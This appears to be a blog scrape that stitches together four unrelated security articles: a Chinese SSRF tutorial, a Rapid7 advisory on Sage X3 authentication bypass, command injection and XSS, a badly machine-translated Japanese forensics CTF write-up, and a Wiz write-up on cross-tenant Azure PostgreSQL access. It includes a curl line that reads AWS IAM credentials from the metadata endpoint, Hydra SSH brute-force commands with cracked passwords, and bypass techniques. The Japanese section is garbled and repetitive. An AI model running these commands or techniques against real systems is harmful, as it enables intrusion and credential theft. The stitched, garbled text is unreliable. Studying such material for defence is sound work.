但是，如果你的應用程序容易受到SSRF的攻擊，那麼通過允許攻擊者也檢索你的示例的憑證，同樣的優勢也可以反過來對你不利。現在你可能會說，這對IMDSv1是正確的，但對IMDSv2不再是正確的。雖然這是真的，但默認情況下IMDSv1總是啟用的，因此它仍然是一個常見的普遍問題。



如果你熟悉AWS並且已經在使用IAM角色，你可以使用curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$roleName來了解SSRF在你的應用程序中的致命程度。



如果你對AWS 不熟悉，可以使用下圖中的示例腳本來創建可用於查詢元數據終端的IAM 角色、VPC 和EC2 示例。不過你得付費，因此請確保在完成後關閉此示例。



 3.1.png



 3.2.png



 3.3.png



 3.4.png



 3.5.png



 3.6.png



創建顯示如何利用SSRF 和元數據終端所需的基礎設施（VPC、安全組和EC2 示例）的腳本



 4.png



查詢元數據終端的截斷輸出SSRF允許攻擊者從你的基礎設施外部完全訪問這些數據



盲SSRF（Blind SSRF）盲SSRF 是SSRF 攻擊的一個子集。在前面的示例中，客戶端已經能夠看到對請求的響應。 Blind SSRF 是指你可以執行請求，但看不到響應。乍一看，它似乎是一個相當沒有危險的漏洞。但是，仍然可以執行一些有趣的攻擊。



一個例子是利用盲SSRF 來改變內部服務的狀態。這方面的一個例子是Jira 中的一個盲SSRF 漏洞，它可以被用於在GitLab基礎設施中任意發出HTTP POST請求。另一個例子是使用盲SSRF 從目標網絡內部執行端口掃描。這方面的一個例子是Jira 中的一個盲SSRF 漏洞，可用於繪製New Relic 基礎設施。



在下圖中，你將看到一個應用程序的源代碼，其行為類似於webhook 服務的行為。用戶提交一個URL，服務嘗試獲取該URL，並將狀態代碼和漏洞消息返回給用戶。



要運行此應用程序，請將下圖中的代碼保存在名為ssrf2.go 的文件中，然後輸入go run ssrf3.go 以運行應用程序並導航到位於http://localhost:8080 的應用程序。



 5.1.png



 5.2.png



 5.3.png



 5.4.png



 5.5.png



可用於映射內部網絡的應用程序



要了解如何利用盲SSRF，請在你的主機上嘗試一些終端，看看它們是如何響應的。以下是一些探索步驟：



1、嘗試一個沒有服務監聽的端口。



2、試試端口22 看看SSH 是如何響應的。



3、嘗試使用Web 服務器偵聽的端口。



4、響應的時機是否提供了任何有用的信息。



SSRF緩解技術在理想情況下，你的應用程序不需要發出任意請求，或者只需要向一組白名單終端發出請求。在這種情況下，你基本上不必擔心SSRF，因為攻擊者無法控制目標終端。



不幸的是，正如我們在前面的例子中看到的，這通常是不可能的。事實上，你可能正在編寫一個應用程序，你希望在其中授予用戶對終端的控制權，例如webhook。



SSRF 的緩解措施通常可以分為兩大類：你可以在網絡層或應用程序層應用控制。



使用防火牆緩解SSRF對於SSRF，一種常見的緩解措施是實現關於運行應用程序的主機能夠連接到哪些主機的防火牆策略。這通常應用於現有的網絡基礎設施，其中防火牆位於網絡體系結構中的關鍵位置，或者使用網絡設備上的接口ACL 放置在更靠近主機的位置，或者甚至基於主機的防火牆來限制出站連接。



防火牆可能很脆弱，因為任何應用於主機的防火牆都無法區分應用程序建立的連接與節點或同一節點上其他軟件的正常操作規則。防火牆也只能將策略應用於他們看到的流量，因此應用程序可以訪問綁定到本地主機或同一網絡內其他節點的診斷終端。



基於客戶端請求創建出站連接的應用程序也很少見，將來對防火牆策略的更新可能不會考慮到可以創建任意請求的應用程序。



另一個很好的網絡層防禦是使用類似Stripe 開發的Smokescreen 之類的東西。 Smokescreen 是一個HTTP CONNECT 代理，你可以通過它匯集所有流量，並使用它將ACL 放置在允許流量的位置。



“Smokescreen 限制它連接到的URL：它解析請求的每個域名，並確保它是可公開路由的IP，而不是Stripe 內部IP。這可以防止諸如我們自己的webhooks基礎設施被用來掃描Stripe內部網絡之類的攻擊。”



唯一的問題是你的應用程序需要實際支持HTTP CONNECT 代理並願意通過它路由你的流量。好消息是，這通常是默認支持的。例如，Go 中的DefaultTransport 已經做到了這一點，甚至為其他協議添加HTTP CONNECT 代理支持，就像我們對SSH 所做的那樣。



相互認證另一種值得討論的方法是在所有內部服務上使用相互身份驗證。回到webhook 示例，即使攻擊者能夠控制目標，連接也可能無法通過身份驗證與內部資源通信。但是，這種方法不是通用的。如果攻擊者可以控制經過身份驗證的連接，SSRF 就會重新出現。



使用應用程序控制緩解SSRF



如果你無法控製網絡配置或無法運行HTTP CONNECT 代理等其他軟件，則可以通過檢查目標地址是否在阻止範圍內來使用應用層控制來緩解SSRF。



僅僅嘗試解析地址、驗證地址、然後建立連接是不夠的。這很容易受到檢查時間和使用時間漏洞的影響，攻擊者控制DNS 服務器並使用短TTL 在下一次查詢時更改目標地址。如果你正在使用應用層控件，請確保使用較低層的掛鉤。例如，Andrew Ayer 建議使用帶有Go 撥號器的Control 回調來執行此操作。



這樣你就可以創建安全的撥號程序，可以直接替代也可以應用訪問控制的常規撥號程序。看一下下圖中的示例，插入式SafeClient 不僅應用CIDR 檢查，還可以限制HTTP 重定向等內容。



嘗試使用SafeClient ，並再次嘗試利用漏洞。結果還是失敗的。



你也可以從命令行嘗試此程序。以下是一些可以嘗試的示例命令。



 7.1.png



 7.2.png



 7.3.png



 7.4.png



 7.5.png



使用Andrew Ayer 技術的更安全的HTTP 客戶端



總結SSRF 可能是一個難以緩解的漏洞，主要是因為它可能是情境性的。 在某些情況下，你可能希望允許你的客戶端連接到內部IP 地址而不是其他地址。 但是，仔細選擇基於網絡或基於應用程序的控制可用於有效緩解SSRF。



如果執行網絡安全審計，在審計Web 應用程序安全性時檢查SSRF 攻擊非常重要。


		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
Sage的主要服務對像是大中型企業，在全球大概有600萬客戶。 Sage在英文中是英明睿智的意思，致力於為企業提供全線管理軟件解決方案。 Sage ERP X3是一套完全集成的管理解決方案，在易用性方面做了很大的改進，幫助企業快速享受到IT帶來的諸多利益。



Rapid7 研究人員Jonathan Peterson、Cale Black、Aaron Herndon、Ryan Villarreal 和William Vu 發現了四個涉及Sage X3 的漏洞。這些漏洞根據Rapid7 的常規漏洞披露流程報告給Sage，並在Sage X3 第9 版（Syracuse 9.22.7.2 隨附的那些組件）、Sage X3 HR 和Payroll 版本9（Syracuse 隨附的那些組件）的最新版本中修復9.24.1.3、Sage X3 版本11 (Syracuse v11.25.2.6) 和Sage X3 版本12 (Syracuse v12.10.2.8)。請注意，Sage X3 沒有商業可用的第10 版。



這些漏洞如下表所示：前兩個是涉及Sage X3遠程管理的協議相關漏洞，後兩個是Web應用程序漏洞。一般來說，Sage X3 安裝不應直接暴露在互聯網上，而應在需要時通過安全的VPN 連接提供。遵循此操作建議可有效緩解所有四個漏洞，但仍敦促客戶根據其通常的補丁週期時間表進行更新。



 1.png



產品描述Sage X3 是一個企業資源計劃(ERP) 應用程序，主要用於大中型企業的供應鏈管理。該產品在英國和其他歐洲市場特別受歡迎。有關Sage X3 的更多信息，請訪問其官網。



這些漏洞是由Rapid7 研究人員Jonathan Peterson (@deadjakk)、Aaron Herndon (@ac3lives )、Cale Black、Ryan Villarreal (@XjCrazy09) 和William Vu 發現的。它們是根據Rapid7 的漏洞披露政策披露的。



CVE-2020-7390 之前由Cobalt Labs 的 Vivek Srivastav 於2021 年1 月向供應商報告。



漏洞利用對於每一個確定的漏洞，下面是對漏洞和利用它的技術的簡要描述。



CVE-2020-7388：Sage X3 未經身份驗證的遠程命令執行(RCE) 作為AdxDSrv.exe 組件中的SYSTEM



Sage X3 在AdxAdmin 組件的進程“AdxDSrv.exe”下的端口TCP/1818（默認值，但可更改）上公開管理服務。該服務用於通過Sage X3 控制台遠程管理Sage ERP 解決方案。服務中的漏洞允許惡意攻擊者向暴露的服務發出請求，以“NT AUTHORITY/SYSTEM”用戶身份在服務器上執行命令。



AdxDSrv.exe認證和執行過程Sage X3 使用自定義協議在Sage X3 控制台客戶端和AdxDSrv.exe 之間進行交互。查看協議，Sage X3 控制台使用字節序列製作一個請求以進行身份驗證，如下所示：



 2.png



Sage X3 使用自定義的加密機制對密碼進行加密，但為簡潔起見，這裡不再贅述加密方式。示例消息如下所示，向用戶“admin”發送密碼“password”：



 3.png



AdxDSrv.exe發送4個字節表示驗證成功，這些字節總是以\x00\x00 為前綴，然後是兩個明顯隨機的字節，如下所示：



 4.png



收到這個成功的認證響應後，可以發送消息執行遠程命令。首先，臨時目錄由客戶端以要寫入服務器的“cmd”文件的名稱指定。



具有提供的“cmd”文件名的批處理文件被寫入磁盤，其中包含“whoami”命令。



在AdxDSrv.exe 服務將臨時批處理文件寫入指定文件夾後，它將通過Windows API調用CreateProcessAsUserAs，在提供的用戶憑證的安全上下文中執行該文件。這可以在Windows 事件日誌中作為使用“CreateProcess(AsUser)”的Windows 事件登錄被觀察到。最終導致將命令寫入文件、執行然後讀取輸出的消息序列。



在AdxSrv.exe中調用CreateProcessAsUserA的代碼片段，AdxSrv.exe是一個從AdxDSrv.exe產生的線程。



在沒有有效身份驗證的情況下執行，作為NT AUTHORITY\SYSTEM發送要執行的命令需要兩個組件。首先要知道AdxAdmin服務的安裝目錄，這樣我們就可以向服務提供要寫入的完整路徑位置，以便將要執行的“.cmd”文件寫入其中。第二個組件是“授權序列”，如上所示，它包括發送一個用戶名和密碼，該用戶名和密碼是用AdxDSrv.exe服務使用的加密協議加密的，以便通過Windows API調用CreateProcessAsUserA來執行.cmd文件。



獲取安裝目錄可以通過事先的知識、有根據的猜測，或者通過以下CVE-2020-7387所述的未經身份驗證的遠程信息洩露漏洞來完成。



第二步可以通過重新創建AdxDSrv.exe 身份驗證和命令協議的一系列數據包來迴避，但有一個關鍵修改：攻擊者可以簡單地交換一個字節並導致服務忽略提供的用戶憑據，而是在當前AdxDSrv.exe進程安全上下文下執行，該進程安全上下文作為NT AUTHORITY\SYSTEM運行。一些模糊測試表明，在授權序列開始期間使用“0x06”而不是“0x6a”允許序列繼續，並允許命令作為NT AUTHORITY\SYSTEM帳戶運行。



換句話說，客戶端似乎能夠完全退出身份驗證。在這種模式下，請求的命令以SYSTEM 身份執行，而不是模擬提供的用戶帳戶。



在一個實際的概念證明漏洞，它發送了整個序列來執行“whoami”，而沒有像之前要求的那樣提供加密的用戶憑證。



該漏洞在AdxAdmin 93.2.53版本中被修復，該版本在X3 V9、V11 和V12 中很常見，並分別隨Syracuse 9.22.7.2、11.25.2.6 和12.10.2.8 提供。



CVE-2020-7387：Sage X3 安裝路徑名洩露在對CVE-2020-7388 中描述的AdxAdmin.exe 使用的身份驗證和命令協議進行模糊測試時，發現發送第一個字節為“0x09”而不是“0x6a”，尾隨三個空字節，返回的安裝目錄時不需要任何身份驗證。



比如正在發送的消息示例，以及來自服務器的包含目錄路徑信息的響應。



當涉及到大多數企業軟件時，安裝路徑名稱往往是相當可預測的，幾乎所有用戶都安裝到少數幾個驅動器號中的一個默認目錄中，這個漏洞確實為攻擊者提供了利用上述CVE-2020-7388所需的信息。



CVE-2020-7389：系統鏈變量腳本命令注入一些允許使用'System' 函數的Web 應用程序腳本可以與“CHAINE”變量配對，以執行任意命令，包括來自遠程SMB 共享的命令。 該頁面可以通過菜單提示Development - Script dictionary - Scripts 到達。 根據供應商的說法，此功能應僅在開發環境中可用，而不是在生產環境中可用。



漏洞命令模式為：



 21.png



演示過程如下所示：



 22.png



下面的屏幕截圖演示了一個提供“a.bat”的Impacket SMB 服務器，該服務器又調用“b.exe”，並嘗試連接和評估在CHAINE 變量中指定的有效負載：



 23.png



CVE-2020-7390：用戶配置文件的“編輯”頁面上存儲的XSS 漏洞“Edit User”頁面中的“First name”、“Last name”和“Email”字段容易受到存儲的XSS序列的影響。示例XSS 字符串如下圖所示：



 5.png



XSS 字符串在`mouseOver` Javascript 上執行的事件如下圖所示：



 6.png



威脅影響結合CVE-2020-7387和CVE-2020-7388，攻擊者可以首先了解受影響軟件的安裝路徑，然後利用該信息將命令傳遞給在system上下文中運行的主機系統。這可以讓攻擊者運行任意操作系統命令來創建管理員級別的用戶，安裝惡意軟件，或者出於任何目的完全控制系統。



CVE-2020-7389 描述了一種顛覆Sage X3 開發環境的機制，並最終以“x3run”用戶身份運行操作系統命令。但是，此功能a) 僅限於Sage X3 的經過身份驗證的用戶，並且b) 不應在運行環境中公開。



最後，CVE-2020-7390 描述了一個持久的跨站點腳本漏洞，該漏洞只能由經過身份驗證的用戶觸發，並且需要用戶交互才能完成攻擊。但是，如果成功，此漏洞可能允許Sage X3 的普通用戶以當前登錄的管理員身份執行特權功能，或捕獲管理員會話cookie 以供以後冒充為當前登錄的管理員。請注意，與其他漏洞不同，此漏洞僅存在於Sage X3 的未修補版本12 實例中（而不是版本9 或版本10）。



供應商聲明Sage 非常重視其客戶解決方案的安全性，並定期對其產品進行主動測試，以識別潛在漏洞並提供修復。供應商非常感謝Rapid7， Sage 及其合作夥伴已針對該漏洞發布了修復程序，聯繫了所有適用的客戶並就後續流程向他們提供了安全建議。



緩解方案Sage X3 第9 版、第11 版和第12 版的最新本地版本解決了這些漏洞，並敦促Sage X3 的用戶儘早更新其Sage 基礎架構。如果無法立即應用更新，客戶應考慮採取以下補救措施：



1.對於CVE-2020-7388 和CVE-2020-7387，不要將任何運行Sage X3 的主機上的AdxDSrv.exe TCP 端口暴露給網絡或其他不受信任的網絡。作為進一步的預防措施，應在運行過程中完全停止adxadmin 服務。



2.對於CVE-2020-7389，一般來說，用戶不應將此webapp 接口暴露給網絡或其他不受信任的網絡。此外，Sage X3 的用戶應確保開發功能在運行環境中不可用。



3.如果由於業務關鍵功能而導致網絡分段無法執行，則只有對主機Sage X3進行系統管理的受信任的用戶才應該被授予登錄訪問web應用程序的權限。


		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
材料の検索


リンク：https://pan.baidu.com/s/1fwhb_5svmyk3gr4-qenc0q?pwd=43a3



パスワードの取り付け：2024fic@Hangzhou Powered〜by hl！



携帯電話部品


 1。容疑者の携帯電話モデルは何ですか？ A. Xiaomi Mi 2s



B. Xiaomi Mi 4c。 Xiaomi Mi 6



D. Xiaomi Mi 8



Fire EyeのBluetooth名の分析はXiaomi Mi3wです



 ImageIMAGE-20240428163939574ただしオプションがないため、useragent.txtを介して電話モデルを確認できます。



 ImageIMAGE-202404281650191512。容疑者は、彼がタブレットのコンピューターデバイスを持っている可能性はありますか？デバイスのモデルがある場合は？ A. iPad Pro 11



B.生体内パッド2



C. MatePad Pro



D. Xiaomi Pad 6swifi接続レコード



 ImageImage-202404281652122823。容疑者が電話のホットスポットをオンにするパスワードは何ですか？火の目は数秒です



 ImageImage-202404281652461005AADA11BC1B5



4.容疑者の内部Wechat IDは何ですか？ImageIMAGE-20240428165304967WXID_WNIGMUD8AJ6J12



5.容疑者が技術者に送信したウェブサイトソースコードのダウンロードアドレスは何ですか？ImageIMAGE-20240428165400943 ImageIMAGE-2024040428165429531新しい仏は言った：僧ksのホールは僧monced、モンクスホール、モンクスホール、モンクスホール、モンクスホールホール、僧k'sホール、僧kのホール、僧kのホール、僧kのホール、僧kのホール、僧kのホール、僧kのホール、僧kのホール、僧ksホール、僧ksホール、僧khホール、モンクスホール、モンクスホール、僧kのホール、僧kのホール、僧kのホール、モンクホール、モンクスホール僧k'sホール、僧k'sホール、僧kのホール、僧kのホール、僧kのホール、僧kのホール、僧khのホール、僧khのホール、僧khのホール、僧khのホール、僧kのホール、僧kshallのホール、僧ksのホール、モンクスホール、モンクスホール、モンクスホール、モンクスホール、モンクスホールホール、僧k'sホール、僧kのホール、僧kのホール、僧kのホール、僧kのホール、僧kのホール、僧kのホール、僧kのホール、僧ksホール、僧ksホール、僧khホール、モンクスホール、モンクスホール、僧kのホール、僧kのホール、僧kのホール、モンクホール、モンクスホール修道士ホール、僧k



新しい仏は数秒です（http://hi.pcmoe.net/buddha.html）



 ImageImage-20240428165507691333333333333333333333333333333http:///DOWN



6.被害者のWeChatユーザーIDは何ですか？ImageIMAGE-20240428165547833チャット履歴を見る



 ImageIMAGE-20240428165610957WXID_U6UMC696CMS422



7.容疑者が初めてWiFiに接続したのはいつですか？ A. 03-14 15:555:57



B. 03-14 16:55:57C。 03-14 17:55:57



D. 03-14 18:555:57



 ImageIMAGE-20240428165810208 ImageIMAGE-202404281658487248。容疑者の社会習慣を分析します。 A. 12336000-14:00



B. 14336000-16:00



C. 16336000-18336000D。 18:00-20:00



多くは16336000-18:00です



 Imageimage-20240428165929835 ImageImage-202404281659427399。容疑者の携帯電話を分析してください。事件のギャングには別の重要な参加者がいます。警察は彼を逮捕しなかった。容疑者が使用するWeChatアカウントIDは？ケース資料は、LiとZhaoがRose Goldブレスレットを持ってきたと書かれていますが、チャットの記録を通して、彼らは愚かなグラウンドホッグも参加したことを発見しました。



 ImageIMAGE-20240428170234471WXID_06F01LNPAVN722



10。容疑者の携帯電話を分析してください。容疑者のボスは、ギャンブル活動に参加するために人員を組織します。使用される国内アクセスポータルアドレスは？ImageIMAGE-2024042817034299192.168.110.110:8000/ログイン



サーバークラスター質問


 1。ESXiサーバーのESXiバージョンは何ですか？サンプル2を直接シミュレートすると、ファイヤーアイがESXI6.7.0を自動的に認識します



 ImageImage-20240428171510091シミュレーション後に見ることができます



 ImageIMAGE-202404281717240206.7.0



2。ESXiサーバーを分析してください。このシステムの設置日は次のとおりです。A。2024年3月12日火曜日02:04:15 UTCB。 2024年3月12日火曜日02:05336015 UTC



C. 2024年3月12日火曜日02:06336015 UTC



D. 2024年3月12日火曜日02:07336015 UTC



root +空のパスワードを使用して入力し、NATサブネットIPに一致することを忘れないでください



 ImageIMAGE-202404281723022013。 ESXIサーバーデータストア「DataStore」のUUIDとは何ですか？ImageIMAGE-2024042817235764365EFB8A8-DD817F6-04FF-000C297BD0E6



4.ESXIサーバーの元のIPアドレス？ImageImage-20240428172443893192.168.8.112



5. EXSIサーバーでいくつの仮想マシンが作成されましたか？ImageIMAGE-202404281725259694



6.ウェブサイトサーバーに縛られたIPアドレスは何ですか？仮想マシンを起動した後、IPが表示されませんでした



したがって、直接スキャン192.168.8.1-192.168.8.8.255



 Imageimage-20240428173828294 192.168.8.89のみが入ることができます。スキャンを終えたとき、彼は再びIPを持っていることがわかりました。



また、192.168.8.128がRocketchatであることがわかりました。私は検索し、そのポートが3000であることを発見し、Rocketchatの背景にも入りました。



192.168.8.89



7.ウェブサイトサーバーのログインパスワードは何ですか？チームメイトがWindowsを行っている場合、この辞書を使用して爆破するCommonPwd.txtを見つける可能性があります。



┌┌）-（root㉿kali） -  [/home/kali/desktop]



└─＃hydra-lroot-pcommonpwd.txtssh: //192.168.8.89



Hydrav9.5（c）2023Byvanhauser/thcdavid maciejak-greadedotuse inmilitaryorsecretsersivice組織、Orforillegalpurposes（Thisisnon binding、これらの*** IngoreLawsandethichicsAnyway）。



Hydra（https://github.com/vanhauser-thc/thc-hydra）stastat2024-04-2818:42:26



[警告] Manyssh configurationslimitthenumberparalleltasks、tisrecomedendedToreducethetasks:use-T4



[data] max16tasksper1server、総合16tasks、147logintrys（l:1/p:147）、〜10triespertask



[データ]攻撃sh: //192.168.8.89:22/



[22][ssh]host:192.168.8.89login:rootpassword:qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq



8.ウェブサイトサーバーが使用する管理パネルのログインポートアドレスの対応するポート番号は次のとおりです。



デフォルトの情報を表示するときは、タイムアウトできます。次の方法を使用して、待機または変更できます。



ImageIMAGE-20240428184856702彼のために名前サーバーを設定すると、彼はすぐにホストを解決できなかったので、それは大丈夫です



 ImageIMAGE-2024042818532236614131



9.ウェブサイトサーバーのWebディレクトリは何ですか？パゴダのパスワードを変更します



 ImageIMAGE-20240428185455840 ImageIMAGE-20240428185418000ただし、ウェブサイトファイルはこれには見つかりませんでした。ソースコードが見つかりました。



 ImageImage-20240428185846395/webapp



10. Webサイト構成のRedisの接続タイムアウトは何秒ですか？ImageIMAGE-202404281855557320



11.ウェブサイトの通常のユーザーのパスワードで使用される塩値はImageIMAGE-20240428191125245！@＃qaaxcfvghhjllj788+）_）_）（（



12。ウェブマスターのユーザーパスワードの暗号化アルゴリズム名A. des



B. RSA



C. MD5



D. BCRYPT ImageIMAGE-2024042819132290613。ウェブサイトのスーパー管理者ユーザーアカウントはいつ作成されましたか？ A. 2022-05-09 12:44:41



B. 2022-05-09 13:44:41



C. 2022-05-09 14:44:41D。 2022-05-09 15336044:41



JARパッケージのデータベース情報を参照してください



 ImageIMAGE-20240428191702606接続が見つかった場合、接続できません



 ImageIMAGE-20240428191756881データベースが開かれないと推測します



次に、パゴダに記載されているデータベースの場所は192.168.8.142です。 ESXiでは、データ仮想マシンがこのIPであることがわかりました



または以前のHydra爆発



┌┌）-（root㉿kali） -  [/home/kali/desktop]



└─＃Hydra-LROOT-PCOMMONPWD.TXTSSH: //192.168.8.142



Hydrav9.5（c）2023Byvanhauser/thcdavid maciejak-greadedotuse inmilitaryorsecretsersivice組織、Orforillegalpurposes（Thisisnon binding、これらの*** IngoreLawsandethichicsAnyway）。



Hydra（https://github.com/vanhauser-thc/thc-hydra）stastat2024-04-2819:22:57



[警告] Manyssh configurationslimitthenumberparalleltasks、tisrecomedendedToreducethetasks:use-T4



[data] max16tasksper1server、総合16tasks、147logintrys（l:1/p:147）、〜10triespertask



[データ]攻撃sh: //192.168.8.142:22/



[22] [SSH] HOST:192.168.8.142LOGIN:ROOTPASSWORD:HL@70011OF1TARGETSUCCCESSELYが完成し、1VALIDPASSWORDFOUND



[警告] WriteRestoreFilebecause2FinalWorkerThreadSDIdNotCompleteUntiLend。



[エラー] 2TargetSDIDNOTRESOLVEORを接続できませんでした



[エラー] 0TargetDidNotComplete



Hydra（HTT


		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
各類組織使用雲服務的前提是各家的賬戶都是獨立的，特別是像數據庫這樣的高價值資產，是與其他客戶隔離的。



Wiz Research在目前已被廣泛使用的Azure數據庫PostgreSQL服務器中發現了一系列關鍵漏洞。這個被稱為ExtraReplica的漏洞允許對其他客戶的PostgreSQL數據庫進行未經授權的讀取訪問，繞過隔離保護。如果被利用，攻擊者可能已經復制並獲得對Azure PostgreSQL服務器客戶數據庫的讀取權限。



Wiz Research於2022年1月向微軟披露了ExtraReplica。目前，微軟確認該漏洞已完全緩解，Azure 客戶無需採取任何行動。微軟表示，他們不知道有任何利用此漏洞的企圖。



根據微軟的說法，該漏洞不會影響單服務器或具有顯式VNet網絡配置(私有訪問)的服務器。在這篇文章中，我們將介紹整個攻擊流程，從分析潛在的攻擊面到完整的攻擊，以及如何最終繞過雲隔離模型。看完本文你就會知道：



1.通過識別和利用Azure 的PostgreSQL 服務器服務中的漏洞，在我們自己的PostgreSQL 服務器上執行代碼。



2.在服務的內部網絡中執行偵察，發現我們可以訪問子網中的其他客戶。



3.在服務的身份驗證過程中發現了第二個漏洞：由於正則表達式末尾的通配符(.*) 導致的證書通用名(CN) 的正則表達式驗證過度允許我們登錄到目標PostgreSQL 示例使用頒發給任意域的證書。注意正則表達式末尾的錯誤，在此處標記：/^(.*？)\.eee03a2acfe6\.database\.azure\.com(.*)$/



通過為我們自己的域（wiz-research.com）replication.eee03a2acfe6.database.azure.com.wiz-research.com 頒發證書，我們成功訪問了我們在不同租戶上擁有的單獨帳戶的數據庫，證明了跨帳戶數據庫訪問。



4.利用Certificate Transparency(簡稱CT)提要來識別客戶目標，最終允許我們使用前面提到的漏洞複製任何PostgreSQL Flexible Server示例(除了配置了Private access - VNet的示例)。



 output_replica--1-.gif



ExtraReplica攻擊流程



我們之前在Azure Cosmos DB中發現了漏洞。我們能否在其他Azure 服務中重現類似漏洞？



在2021年的Black Hat Europe大會上，我們展示了“ChaosDB：我們如何入侵了成千上萬的Azure 客戶的數據庫”，該文說明瞭如何通過Azure Cosmos DB 中的一系列錯誤配置來不受限制地訪問Microsoft Azure 客戶的數據庫。在之前的研究中，我們的出發點是在內部Azure 環境中的Jupyter Notebook 示例上運行任意代碼。我們發現Jupyter Notebook 示例可以通過網絡訪問內部管理API，從而向內部Azure 組件打開攻擊向量。



在Black Hat之後，我們想知道它是否可能成為一種模式，以及其他為客戶提供專用的虛擬機(作為內部Azure環境的一部分)的託管服務是否也可以被敏感的網絡組件訪問。



這個方向引導我們採取以下策略來尋找我們的下一個研究目標。



我們尋找具有以下功能的新目標：



1.在內部雲環境中為客戶提供專用虛擬機示例的託管雲服務。



2.一種允許我們執行代碼的服務，可以作為服務標準功能的一部分，也可以通過新發現的漏洞執行。如果我們可以使用漏洞執行代碼，我們將更有可能找到一個不那麼嚴格的環境，因為服務開發人員可能不希望用戶在那裡運行他們的代碼。



3.服務性質應具有很高的價值，被許多人使用，並包含敏感信息。



如上所述，我們的第一個想法是瞄準雲管理的數據庫服務。雲服務提供商(CSP)以託管服務的形式向客戶提供多種開源和商業數據庫解決方案。這些數據庫示例運行在CSP擁有和運行的內部雲環境中，通常不屬於用戶的雲環境。此外，大多數數據庫解決方案提供了執行運行系統級命令的功能，這正是我們正在尋找的。



PostgreSQL服務器幾乎具有上述所有屬性：它很受歡迎，包含敏感數據，而且它的所有示例似乎都在內部Azure 環境中運行。 PostgreSQL 是一個大項目；它比其他數據庫解決方案複雜且提供更多功能。



什麼是Azure數據庫？ PostgreSQL是一個強大的、開源的、成熟的對象關係數據庫，成千上萬的組織使用它來存儲不同類型的數據。它以其經過驗證的架構和可靠性贏得了強大的聲譽。 Azure PostgreSQL數據庫服務器是Azure提供的四個PostgreSQL之一。它是一種完全託管的數據庫即服務，可提供動態可擴展性和簡化的開發人員體驗。



 ExtraReplica-Wiz-image2.png



PostgreSQL 部署選項及其優勢



攻擊面概述為了了解我們的攻擊面，我們運行了一組PostgreSQL查詢，並收集了一些關於我們環境的信息。例如：我們的特權是什麼？哪些PostgreSQL 功能可用？等等。在了解了這些信息之後，我們得出結論，即使我們的數據庫用戶是PostgreSQL的高權限組azure_pg_admin的一部分，我們仍然缺乏執行本地代碼所需的特定PostgreSQL權限，如下圖所示：



 ExtraReplica-Wiz-image3.png



由於缺乏權限，運行系統級的代碼執行失敗



這意味著我們必須找到一種方法來升級我們在PostgreSQL示例中的權限。幸運的是，我們可以參考之前關於PostgreSQL中權限升級的研究(1, 2)。



漏洞1 ——PostgreSQL權限升級在研究我們的示例時，我們發現Azure修改了他們的PostgreSQL引擎。 Azure引入這些變化到PostgreSQL引擎很可能是為了加強它們的權限模型並添加新功能。我們設法利用這些修改中的一個漏洞來實現權限升級，允許我們作為超級用戶執行任意查詢。獲得超級用戶權限後，我們可以在示例上執行運行系統級別的命令。



雖然微軟已經修復了這個漏洞，但是出於對其他可能對其PostgreSQL引擎進行了類似修改的廠商的謹慎考慮，我們現在不會透露漏洞的細節。



 4.png



通過惡意SQL查詢執行運行系統級代碼



環境偵察在獲得在我們的PostgreSQL 託管示例上執行任意代碼的能力後，我們對環境進行了一些偵察。我們意識到我們在主要託管PostgreSQL 進程的docker 容器中以非特權azuredb 用戶身份運行。該容器正在運行Ubuntu 18.04.6 LTS 的修改映像，並安裝了最新的內核(5.4.0-1063-azure)，幾乎排除了使用當時已知的內核漏洞來繞過該容器的可能性。在我們的偵察過程中，我們還注意到可以從容器內部訪問以下網絡接口：



 ExtraReplica-Wiz-image5.png



可從PostgreSQL 容器內部訪問的網絡接口



通過查看網絡接口，我們意識到容器與其主機共享一個網絡名稱空間。看到內部IP地址給了我們一個想法，如果通過這些內部網絡接口路由，我們是否可以訪問其他客戶的其他PostgreSQL示例？



我們在另一個Azure帳戶上創建了另一個PostgreSQL Flexible示例，並試圖從我們創建的第一個數據庫中訪問它，通過端口5342上的內部網絡接口(eth0, 10.0.0.0/23)。令我們驚訝的是，它成功了！最重要的是，即使示例的防火牆配置為拒絕所有連接嘗試，它也能正常運行。我們認為這違反了預期的隔離模型，因為我們只是通過利用某種內部網絡訪問來連接到一個不相關的PostgreSQL示例。然而，由於我們仍然需要這個數據庫的用戶名和密碼來執行任何有意義的運行(例如讀取或修改數據)，這個漏洞的嚴重性仍然很低。



值得一提的是，當我們運行netstat命令時，除了5432 (PostgreSQL)，還有其他端口在所有接口(0.0.0.0)上監聽。然而，當我們試圖從內部子網連接到其中一些時，我們超時了。我們執行了更多的測試，包括監聽任意端口並試圖從另一個示例連接，但失敗了。我們懷疑存在一個配置為顯式允許端口5432連接的防火牆。



我們想知道，為什麼允許這種聯繫開始？我們的示例可以通過10.0.0.0/23 子網訪問其他示例的正當理由是什麼？



漏洞2——使用偽造的證書繞過跨帳戶身份驗證為了探究為什麼我們的示例可以在內部訪問其他示例，我們決定檢查設備上的兩個文件：pg_hba.conf 和pg_ident.conf。根據PostgreSQL 文檔，這些文件分別負責客戶端身份驗證和用戶名映射。 pg_hba.conf 文件定義了哪些客戶端可以連接到哪個數據庫、來自哪個IP 範圍、使用哪個用戶名和身份驗證方法。



讓我們檢查一下這些來自我們示例的配置文件：



pg_hba.conf：



 6.png



Azure PostgreSQL Flexible Server pg_hba.conf



在第25行中，我們看到客戶端可以使用標準密碼身份驗證(md5)從內部網絡和外部網絡連接到示例。此外，在第17到21行中，特殊帳戶複製只能在內部網絡中使用客戶端證書認證進行身份驗證（子網10.0.0.0/8、172.16.0.0/12、192.168.0.0/16）。



複製用戶的目的是什麼？事實證明，PostgreSQL提供了一個獨特的功能，允許將數據庫數據從一個服務器複製到另一個服務器，從而“複製”數據庫。這通常用於備份和故障轉移/高可用性場景。例如，Azure將其用於其高可用性功能：



 7.png



高可用性功能如果我們能夠設法以復制用戶身份驗證其他客戶的其他PostgreSQL 示例，我們應該能夠獲得他們數據庫的完整副本（即復制）。



